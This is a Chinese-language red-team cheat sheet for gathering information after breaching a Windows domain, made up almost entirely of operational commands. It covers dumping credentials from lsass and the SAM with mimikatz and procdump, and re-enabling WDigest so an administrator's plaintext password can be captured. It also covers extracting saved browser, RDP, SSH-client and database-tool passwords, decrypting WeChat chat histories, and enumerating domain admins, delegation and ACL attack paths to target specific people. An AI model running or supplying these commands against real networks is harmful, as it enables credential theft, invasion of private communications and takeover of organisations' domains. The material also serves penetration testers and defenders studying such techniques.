红队知识体系梳理1-域内信息收集

一.域内信息收集

通过打点、钓鱼拿下一台PC、服务器突破边界进入内网,先进行信息收集。包括但不限于:

1.网络、进程服务、用户、系统信息 ... ...2.文件,特别是当前用户目录 ... ...3.主机凭证,包括kerberos票据、主机密码,RDP凭证 ... ...4.第三方程序:第三方终端管理程序凭证,浏览器记录和密码,数据库管理工具凭证,微信记录 ... ...5.域信息:当前域名/域SID,域用户/域管用户/委派用户,域控机器/DNS服务机器/ADCS机器/exchange机器,LDAP记录/DNS记录,ACL/GPO,域信任关系 ... ...

1.1 网络相关

arp -a #查看arp缓存表
route print #路由表
netstat -ano #查看网络连接
ipconfig /displaydns #查看dns缓存
type c:\Windows\system32\drivers\etc\hosts #查看hosts文件
tracert baidu.com #通过跃点跟踪路由跳转信息
中间件和数据库配置文件

1.2 用户进程

ver     #查看系统版本
systeminfo  #查看系统配置
tasklist /svc #查看正在运行的进程服务
tasklist /V /FO CSV #详细进程
query user #查看登录会话
net session #列出本地计算机连接的客户端对话信息
whoami /all  
net localgroup administrator

wmic product get  name,version  #查询所有安装过的软件及版本
wmic service list brief  #查询当前机器的服务信息

1.3 凭据相关

1.3.1 主机凭据

  • 票据
klist #查看当前用户缓存的票据凭证
mimikatz.exe  "privilege::debug"  "sekurlsa::tickets /export" exit #导出lsass进程票据
mimikatz.exe "kerberos::ptt gold.kirbi" exit  #注入票据

mimikatz

  • RDP凭据
cmdkey /list #查看当前用户保存的RDP凭证
dir /a %userprofile%\appdata\local\microsoft\credentials\*  #查找本地的Credentials
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" #rdp连接默认的10个记录
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s #当前用户rdp连接历史li记录

1.使用Invoke-WCMDump脚本导出,不能导出域凭证

powershell -exec bypass  Import-Module  .\Invoke-WCMDump.ps1;Invoke-WCMDump  

2.使用Mimikatz破解凭证,详见内网渗透|获取远程桌面连接记录与RDP凭据

3.导出svchost进程内存查询密码明文,详见内网渗透|获取远程桌面连接记录与RDP凭据

4.使用Mimikatz从已存在的RDP连接中导出凭据

mimikatz.exe "privilege::debug" "ts::logonpasswords" exit > log.txt
  • 主机密码
    读取lsass
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > log.txt

procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

xiaomimi.exe 1

读取SAM

reg save hklm\sam sam.hive
reg save hklm\security security.hive
reg save hklm\system system.hive

mimikatz.exe "lsadump::sam  /sam:sam.hive \security:hive.save" exit 
python secretsdump.py -sam sam.hive -security security.hive -system system.hive LOCAL

安装KB2871997补丁后lsass不保存明文,手动开启Wdigest Auth后锁屏让管理员重新输密码,2012 r2后默认自带

#开启Wdigest Auth
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#锁屏
rundll32 user32.dll,LockWorkStation

1.3.2 终端管理软件凭据

  • 浏览器凭证记录
BrowserData.exe -b all -f json --dir C:\Users\Public\1\   
HackBrowserData.exe #会在当前目录下生成results目录

HackBrowserData

#支持Navicat,TeamViewer,FileZilla,Foxmail,TortoiseSVN,Chrome,RDCMan,SunLogin,WinSCP,Xmangager系列产品(Xshell,Xftp)
SharpDecryptPwd.exe --help 

Xshell全版本导出
SharpXDecrypt

SharpXDecrypt.exe 

MobaXterm导出
how-does-MobaXterm-encrypt-password
1.注册表方式解密

reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\P  #查询密码字段
reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm  #查询SessionP 
reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\C #查询凭证字段

#存在主密码解密
ShowMobaXterm.exe 主密码 >1.txt
MobaXtermCipher.py dec -p 主密码 密文
#不存在主密码解密
python MobaXtermCipher.py dec -sysh 机器主机名  -sysu 机器用户名 -h 密文对应ip -u 密文对应用户 密码密文 #解密密码字段密文
python MobaXtermCipher.py dec -sp SessionP 凭证密文  #解密凭证字段密文

2.配置文件保存方式解密
会保存在MobaXterm目录下的MobaXterm.ini文件,可以直接将MobaXterm.ini文件导出,替换配置文件导入本地MobaXterm
MobaXterm.ini中[passwords]字段为密码字段,SessionP字段是SessionP值

#存在主密码解密
MobaXtermCipher.py dec -p 主密码 密文
#不存在主密码解密
python MobaXtermCipher.py dec -sysh 机器主机名  -sysu 机器用户名 -h 密文对应ip -u 密文对应用户 密码密文 #解密密码字段密文
python MobaXtermCipher.py dec -sp SessionP 凭证密文  #解密凭证字段密文
  • 数据库管理工具
    Navicat
SharpDecryptPwd Navicat

1.3.3 中间件和数据库配置

查看中间件和数据库配置文件,收集密码形成密码字典进行后续凭证爆破

1.3.4 微信

  • 微信记录

https://github.com/Ormicron/Sharp-dumpkey
导出微信密钥,需要微信在登录

Sharp-dumpkey.exe #会生成DBPass.bin

导出聊天记录,注意数据库需要copy后传,因为占用中不能读取

C:\Users\test\Documents\WeChat Files\微信ID\Msg\MicroMsg.db
C:\Users\test\Documents\WeChat Files\微信ID\Msg\Multi\MSG*.db

chatViewTool
将密钥DBPass.bin和db数据库放在同目录下,用chatViewTool打开

1.4 域信息相关

1.4.1 基础信息


net group "domain admins" /domain #查看域管用户
net group "Enterprise Admins"  /do  #查看企业系统管理员组
net group "domain controllers"  /domain #查看域控制器组
net group "Exchange Servers" /do #查看exchange组
net time /domain #查看当前域的时间服务器
netdom query pdc  #查看主域控制器
nltest /domain_trusts   #查看域信任关系

net group "DnsAdmins"  #查看DNS组
net  group "Organization Management" #查看exchange管理组
net group "Schema Admins"
net group "Group Policy Creator Owners"

net group /domain #查看当前域所有组
net user /domain #查看当前域的所有域用户
net group "domain computers" /domain #查看域机器组


net view /domain #查看查看内网存在多少个域
net view /domain:qaq.com    //查看QAQ.com域内的所有主机
net view  #查看当前域所有主机共享,既:存活主机名
net view \\192.168.1.1 #查看指定机器的共享列表 
net view \\主机名
net accounts /domain  #查看密码策略
net config workstation  #查看当前登录域

certutil -dump -v  #ADcs服务
#查看当前本地组。可能会配置域用户组加入当前机器的管理员组
net localgroup administrators
net localgroup users
#使用安全帐户管理器远程API获取用户
python  samrdump.py qaq.com/admin:Aa123456@192.168.10.250
#使用impacket GetADUsers脚本从ldap获取域用户
 python GetADUsers.py qaq.org/administrator:Aa123456 -dc-ip 192.168.11.250 -all

1.4.2 DNS记录

  • 通过ldap查询dns记录

OU是CN=MicrosoftDNS,DC=DomainDnsZones,DC=qaq,DC=com,objectClass为dnsNode

adidnsdump

#会在当前目录生成records.csv文件
adidnsdump ldap://192.168.10.250 -u qaq\test -p Aa123456 -r  --dns-tcp  #代理远程执行
adidnsdump.exe  ldap://192.168.10.250 -u qaq\test -p Aa123456 -r   

SharpAdidnsdump

#通过SharpAdidnsdump
SharpAdidnsdump.exe 192.168.10.250  > dbs.txt

powerview

powershell -exec bypass  Import-Module  .\powerview.ps1;"Get-DNSRecord -ZoneName qaq.com | select name,data > dns.txt"
  • 通过dns域传送漏洞获取全部DNS解析记录
nslookup
server test.qaq.com  #设置dns
ls qaq.com #列出记录
dig axfr @test.qaq.com  qaq.com

1.4.3 关键机器探测

spn

查询SPN收集重要服务定向攻击,例如:exchange服务、adcs服务

setspn -T domain.com -Q */*    #服务主体,使用Kerberos须为服务器注册SPN

自动化工具

cscript GetUserSPNs.vbs
定位域管机器/查询域账户和机器关系

1.查询域管组账户登录机器,定向攻击后拿域管凭证;
2.查询域控登录的会话session,定向攻击拿凭证登域控;
3.通过LDAP查询IT部门、运维人员、与靶标相关的部门人员,查询这些人员登录的机器,定向攻击;

通过查询机器的登录会话定位

通过远程注册表查询机器当前登录的用户会话,默认PC机器没有开启允许注册表远程连接
通过NetSessionEnum API查询当前访问机器网络资源的用户名称和来源IP
通过NetWkstaUserEnum API查询登录机器的所有用户,需要机器的管理员权限

  • SharpDomainSession

查询指定机器登录的用户、IPC会话
SharpDomainSession
通过远程注册表方式、NetSessionEnum API、NetWkstaUserEnum API查询域控机器登录的用户/IPC连接会话

#NetWkstaUserEnum API接口需要目标机器的访问权限
SharpDomainSession.exe test.qaq.com
  • psloggedon

psloggedon是微软PSTOOLS套件,查询指定机器登录会话,查询指定用户登录的机器

#显示指定机器当前登录的用户和网络会话
psloggedon.exe \\test  

#显示指定用户当前登录的机器,通过遍历远程注册表方式。PC终端默认不允许远程注册表
psloggedon.exe administrator
  • pveFindADUser

会调用远程注册表方式、NetSessionEnum API、NetWkstaUserEnum API三种方式进行枚举所有机器登录的用户会话,枚举指定账户登录的机器,枚举指定机器登录的会话

ADFindUsersLoggedOn

#枚举所有机器登录的账户
pveFindADUser.exe -current 

#枚举登录admin账户的机器
pveFindADUser.exe -current "qaq\admin"

#枚举test机器当前登录的所有账户
pveFindADUser.exe -current  -target test

#不探测存活
pveFindADUser.exe -current  -noping

#查询test机当前最后一个登录的用户
pveFindADUser.exe -current  -target test  -last
  • netview

netview
只使用WinAPI 枚举所有机器登录会话和共享


#枚举所有机器的共享,调用二个API接口查询机器登录的会话。需要机器的访问权限,一般用域管用户
netview.exe -d

#指定从中提取主机列表的文件
netview.exe -f filename.txt  -d 

#检查对已找到共享的访问权限
netview.exe -d -c
ldap定位
  • 域账户绑定登录机器

查询域用户userWorkstations属性查询登录绑定机器

ldapsearch -x -H  ldap://192.168.10.250 -D "admin@qaq.com"  -w Aa123456  -b "DC=qaq,DC=com" "(userWorkstations=*)"  | grep   -E "userWorkstations|sAMAccountName"
定位委派账户

约束/非约束委派:查询配置约束委派和非约束委派的服务账户/机器定向攻击,攻击成功后委派访问域控制器

资源委派:
1.查询重要机器(域控制器、委派权限机器、运维人员个人机等)的mS-DS-CreatorSID加域账户,定位攻击这些域账户,然后修改主机属性msDS-AllowedToActOnBehalfOfOtherIdentity配置资源约束委派获取权限;
2.获得域账户后,查询通过该账户加域的机器,然后修改主机属性msDS-AllowedToActOnBehalfOfOtherIdentity配置资源约束委派获得权限;

  • 约束委派和非约束委派

powerview

#查询非约束委派的主机 
powershell -exec bypass  Import-Module .\PowerView.ps1;"Get-NetComputer -Unconstrained -Domain qaq.com ">test.txt
#查询非约束委派的服务账户
powershell -exec bypass  Import-Module .\PowerView.ps1;"Get-NetUser -Unconstrained -Domain qaq.com ">test.txt
powershell -exec bypass  Import-Module .\PowerView.ps1;"Get-NetComputer -Unconstrained -Domain qaq.com ";"Get-NetUser -Unconstrained -Domain qaq.com | select name">test.txt

Addend

#查找域中配置非约束委派的服务用户 
AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
#查找域中配置非约束委派的主机 
AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName


#查找域中配置约束委派服务用户:
AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
#查找域中配置约束委派的主机
AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

ldapsearch linux kali自带
(注意-D是distinguishedname字段是账户的区别名称,和sAMAccountName登录账户名可能不一致

#查找域中配置非约束委派的用户
ldapsearch -x -H ldap://192.168.10.250:389 -D "CN=admin,CN=Users,DC=qaq,DC=com" -w Aa123456 -b "DC=qaq,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"


#查找域中配置非约束委派的主机
ldapsearch -x -H ldap://192.168.10.250:389 -D "CN=admin,CN=Users,DC=qaq,DC=com" -w Aa123456 -b "DC=qaq,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

#查找域中配置约束委派服务用户
ldapsearch -x -H ldap://192.168.10.250:389 -D "CN=admin,CN=Users,DC=qaq,DC=com" -w Aa123456 -b "DC=qaq,DC=com" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
#查找域中配置约束委派的主机
ldapsearch -x -H ldap://192.168.10.250:389 -D "CN=admin,CN=Users,DC=qaq,DC=com" -w test123.. -b "DC=qaq,DC=com" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

  • 资源性约束委派(RBCD)

1.查询重要机器(域控制器、委派权限机器、运维人员个人机等)的mS-DS-CreatorSID加域账户,定向攻击这些域账户,修改主机属性(msDS-AllowedToActOnBehalfOfOtherIdentity)配置资源委派获得权限;
2.获得域账户后,查询通过该账户加域的机器,修改主机属性(msDS-AllowedToActOnBehalfOfOtherIdentity)配置资源委派获得权限;

注:2012 的域控才有这个特性,msDS-AllowedToActOnBehalfOfOtherIdentity属性

#如果mS-DS-CreatorSID为空代表通过域管加入域环境
#使用AdFind查询所有机器mS-DS-CreatorSID属性
AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
AdFind.exe -h 192.168.10.250 -u admin -up Aa123456 -b "DC=qaq,DC=com" -f "objectClass=computer" mS-DS-CreatorSID
#使用AdFind查询指定机器mS-DS-CreatorSID属性
AdFind.exe -h 192.168.10.250 -u admin -up Aa123456 -b "CN=TEST4-WIN7,CN=Computers,DC=qaq,DC=com" -f "objectClass=computer" mS-DS-CreatorSID
#根据SID查询对应账户CN全名
AdFind.exe -b "DC=qaq,DC=com" -f "(&(objectsid=S-1-5-21-3105699010-1460039537-418241315-1118))" objectclass cn dn
#查询账户SID
AdFind.exe -b "DC=qaq,DC=com" -f "(sAMAccountName=admin)" objectSid 
#通过域账户SID查询使用该账户加域的机器
AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-3105699010-1460039537-418241315-1118))" cn sAMAccountType objectCategory
域外定位域控制器

扫描88,389,636,3268,3269端口定位域控制器。88是kerberos认证端口,389是ldap服务端口,636是ldap tls服务端口

域外定位exchange机器

扫描25,443,465,587,2525端口

定位adcs
certutil -dump -v  #域内定位

https://github.com/ly4k/Certipy

certipy find "qaq.org/test:Aa123456@192.168.11.250" -debug  #域外定位

1.4.4 ACL

查看高权限目标对象的ACL安全访问控制列表,扩展到目标的攻击路径。通过间接攻击对应的DACL对象获取高权限目标权限

  • 使用SharpHound分析acl

使用SharpHound分析高权限目标的acl INBOUND CONTROL RIGHTS 入站控制权限,查看可访问该目标的DACL
获取到一个用户/机器权限的时候,使用SharpHound分析该对象的ACL OUTBOUND OBJECT CONTROL 出站控制权限,查看该对象可访问的DACL

  • 使用Invoke-ACLPwn分析不安全的acl

不好用,兼容性差,通过调用SharpHound分析
https://github.com/fox-it/Invoke-ACLPwn

可管控目标的acl:


AddMembers          //可以将任何用户加入这个组,权限利用针对的对象为组对象
User-Force-Change-Password          //更改目标用户的密码
DS-Replication-Get-Changes和 DS-Replication-Get-Changes-All      //拥有dcsyns权限。利用针对的对象为域对象
GenericAll      //授予目标对象的完全控制权。包括WriteDacl和WriteOwner特权。
GenericWrite        //此权限能够更新目标对象的属性值
Self-Membership     //某个账户能够把自身添加到对应组的权限(需要在某个组的高级权限中添加ACE,也就是说针对的是组对象)
WriteProperty       //WriteProperty直译为写所有权。这个权限利用针对的对象为组对象,能够赋予账户对于某个组的可写权限
WriteOwner      //对一个组具有WriteProperty权限的情况下,“写入全部属性”除了WriteProperty还包括了其他的权限
WriteDacl   //WriteDacl允许委托人修改受影响对象的DACL。这意味着攻击者可以添加或删除特定的访问控制项,从而使他们可以授予自己对对象的完全访问权限。因此,WriteDacl是在链中启用其他权利的权利
AllExtendedRights       //拥有所有扩展权限。包括:User-Force-Change-Password权限、AddMember权限、GenericAll权限等
Full Control        //具备所有权限
  • 使用RACE利用acl获取特权

https://github.com/samratashok/RACE

1.4.5 GPO

GPP MS14-025漏洞,2012以上已修复。查询组策略是否配置了账户密码,XM文件中cpassword字段

PowerSploit项目Exfiltration模块

powershell -exec bypass  -Command "&{import-module .\Get-GPPPassword.ps1;Get-GPPPassword -verbose}"

1.4.6 ldap分析

拿到域账户、域内有效凭证,通过ldap分析域信息。域机器账户拥有读取ldap的权限,和普通域用户一样,默认也可以添加机器账户。

  • SharpHound

使用SharpHound分析域架构、信息
SharpHound


#使用SharpHound分析ldap数据,执行后生成zip压缩包。注意.net版本限制
SharpHound.exe -c all --EncryptZip 
powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound  all"

SharpHound.exe  -d qaq.com --DomainController test.qaq.com --LdapPort 389 --LdapUsername test  --LdapPassword Aa123456  #非域主机使用凭证

runas /netonly /user:qaq.com\admin cmd.exe  #使用runas指定当前凭证

将生成的zip压缩包导入BloodHound平台可视化分析

sudo neo4j start
bloodhound
  • ADExplorer

使用ADExplorer连接和导出LDAP数据库

ADExplorer.exe -snapshot "" result.dat /accepteula
  • ldapsearch

使用ldapsearch搜索LDAP


#统计机器数量
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456   -b "DC=qaq,DC=com" "(sAMAccountType=805306369)"|grep dNSHostName | wc -l
#统计用户数量
ldapsearch -x -H  ldap://192.168.10.250 -D "admin@qaq.com"  -w Aa123456  -b "DC=qaq,DC=com" "(sAMAccountType=805306368)" | grep sAMAccountName | wc -l

#查看域管
ldapsearch -x -H  ldap://192.168.10.250 -D "admin@qaq.com"  -w Aa123456   -b "CN=Domain Admins,CN=users,DC=qaq,DC=com"  "(member=*)" | grep member
ldapsearch -x -H  ldap://192.168.10.250 -D "admin@qaq.com"  -w Aa123456   -b "CN=Schema Admins,CN=users,DC=qaq,DC=com"  "(member=*)" | grep member
ldapsearch -x -H  ldap://192.168.10.250 -D "admin@qaq.com"  -w Aa123456   -b "CN=Group Policy Creator Owners,CN=users,DC=qaq,DC=com"  "(member=*)" | grep member
ldapsearch -x -H  ldap://192.168.10.250 -D "admin@qaq.com"  -w Aa123456   -b "CN=Enterprise Admins,CN=users,DC=qaq,DC=com"  "(member=*)" | grep member

#查看受保护的对象
ldapsearch -x -H  ldap://192.168.10.250 -D "admin@qaq.com"  -w Aa123456   -b "DC=qaq,DC=com"  "(admincount=1)"  | grep sAMAccountName


#查看DnsAdmins组
ldapsearch -x -H  ldap://192.168.10.250 -D "admin@qaq.com"  -w Aa123456   -b "CN=DnsAdmins,CN=users,DC=qaq,DC=com"  "(member=*)" | grep member

#查询域控制器
ldapsearch -x -H  ldap://192.168.10.250 -D "admin@qaq.com"  -w Aa123456   -b "ou=domain controllers,DC=qaq,DC=com"  | grep sAMAccountName

#查询Exchange机器
ldapsearch -x -H  ldap://192.168.10.250 -D "admin@qaq.com"  -w Aa123456   -b "CN=Exchange Servers,OU=Microsoft Exchange Security Groups,DC=qaq,DC=com"  "(member=*)" | grep member
#查询Exchange管理用户
ldapsearch -x -H  ldap://192.168.10.250 -D "admin@qaq.com"  -w Aa123456   -b "CN=Organization Management,OU=Microsoft Exchange Security Groups,DC=qaq,DC=com"  "(member=*)" | grep member

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值